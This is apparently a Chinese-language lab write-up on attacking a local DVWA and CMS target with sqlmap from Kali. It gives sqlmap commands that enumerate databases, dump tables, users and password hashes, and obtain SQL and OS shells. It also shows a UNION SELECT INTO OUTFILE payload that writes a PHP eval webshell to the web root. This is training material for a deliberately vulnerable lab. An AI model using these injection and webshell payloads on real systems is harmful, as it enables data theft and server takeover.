实验环境要求:

1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB

2、安装VMware Workstation 14以上

总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。


任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察页面信息为POST表单

原始方法肯定不行,所以再试试刚才的方法

保持请求

试过后发现失败

查看源码后使用二阶SQL注入—second-order

  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞

  1. 测试cms注入点,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1


  1. 列出所有数据库,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs


  1. 获取数据表,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables


  1. 获取数据,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa


  1. 获取所有管理用户,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users


  1. 获取用户密码,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords


拓展任务二、通过sql注入漏洞获取sql-shell和os-shell

  1. 使用sqlmap查看当前用户是否为dba,截图


  1. 使用sqlmap获取sql-shell,截图


  1. 使用sqlmap获取os-shell,截图

直接使用命令是错误的

我们需要在靶机修改一些参数来实现

重启服务


  1. 通过sql注入漏洞上传一句话木马,截图

1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #

执行不了说明没有权限,修改dvwa文件权限


    

使用sqlmap的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. opencv-python imread、imshow浏览目录下的图片文件

    ☞ ░ 前往老猿Python博文目录 ░ 一.几个知识点 1.1.使用Python查找目录下的文件 具体请参考<Python正则表达式re模块和os模块实现文件搜索模式匹配>. 1.2.o ...

  2. PyQt(Python+Qt)学习随笔:Qt Designer中部件的快捷菜单策略(contextMenuPolicy)取值及含义

    在Qt Designer中可以设置部件的快捷菜单策略,快捷菜单通过在部件上点击鼠标右键触发. 快捷菜单策略通过枚举类型Qt.ContextMenuPolicy来定义,对应枚举类型取值及含义如下: 通过 ...

  3. PyQt(Python+Qt)学习随笔:Qt Designer中spacer部件的orientation属性

    在Designer的spacers部件中有2个部件,分别是Horizontal Spacer和Vertical Spacer,这两个部件都有orientation属性,表示Spacer部件的方向. 如 ...

  4. AcWing 204. 表达整数的奇怪方式 / Strange Way To Express Integers

    我作为一个初中蒟蒻,听y大视频听了5遍还不懂,快哭了.然后终于(好像)搞懂,写成题解加深一下记忆... 将式子等价转换 对于每两个式子(我们考虑将其合并): \(x \equiv a_1 \%\ m_ ...

  5. Java集合源码分析(一)——集合框架

    集合框架 集合框架如图所示 Java集合是Java提供的工具包,主要包括常用的数据结构,包括:集合.链表.队列.栈.数组.映射等. 集合的工具包位置是java.util.* 集合主要可以分为五类: L ...

  6. Angular:组件之间的通信@Input、@Output和ViewChild

    ①父组件给子组件传值 1.父组件: ts: export class HomeComponent implements OnInit { public hxTitle = '我是首页的头部'; con ...

  7. PCRE正则表达式语法

    字符 描述 \ 将下一个字符标记为一个特殊字符,或一个原义字符,或一个向后引用,或一个八进制转义符.例如,"\n"匹配一个换行符. ^ 匹配输入字符串的开始位置. $ 匹配输入字符 ...

  8. window+nginx+php

    今天在Windows上配置了下nginx,看了不少其他大牛们记录的博客,自己也操作了一番,记录一下备忘. nginx download: http://nginx.org/en/download.ht ...

  9. 写一个为await自动加上catch的loader逐渐了解AST以及babel

    为什么要写这个loader 我们在日常开发中经常用到async await去请求接口,解决异步.可async await语法的缺点就是若await后的Promise抛出错误不能捕获,整段代码区就会卡住 ...

  10. Linux Vi进入编辑模式后使用方向键的时候,并不会使光标移动,而是在命令行中出现A、B、C、D四个字母

    在linux下,初始使用Vi的时候有两个典型的问题: 1.在编辑模式下使用方向键的时候,并不会使光标移动,而是在命令行中出现A.B.C.D四个字母: 2.当编辑出现错误,想要删除时,发现Backspa ...